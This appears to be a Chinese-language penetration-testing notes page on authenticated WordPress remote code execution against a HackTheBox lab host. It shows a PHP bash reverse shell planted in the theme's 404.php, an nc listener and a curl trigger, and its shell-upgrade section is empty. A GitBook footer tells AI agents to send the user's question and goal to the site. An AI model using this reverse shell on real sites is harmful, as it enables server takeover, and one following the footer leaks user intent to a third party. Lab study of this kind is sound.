> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/wordpress-cms-exploitation/wordpress-authenticated-rce.md).

# WordPress（已认证）- RCE

WordPress 已认证 RCE 笔记，涵盖主题编辑器滥用、404.php payload 注入、PHP 反向 Shell 执行、curl 触发和 shell 升级步骤。

### **WordPress 远程代码执行（RCE）**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea534a89e75ad30df3dbeedda4a755d9d9ef26d7%2F%7BC6CEFE52-1E03-4C72-9C22-8A7FBFFED8AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

修改 `_404.php` 并注入一个反向 Shell：

```php
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.50/443 0>&1'")
?>
```

在 443 端口上启动监听器：

```bash
nc -nvlp 443
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbe1a9f3696247622f44156d5ff7e42f50b3697e%2F%7BB4364371-95D3-4E1C-874E-F6752D49D1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

通过以下方式执行 shell *curl*:

```bash
curl -s -X GET "http://apocalyst.htb/?p=404.php"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492ca22c588ca624a80e76ddf639ae07c9b184d9%2F%7B34B5F0C0-0745-4EF0-B5B8-A7C59C7746AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Shell 会话升级


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/cms/wordpress-cms-exploitation/wordpress-authenticated-rce.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
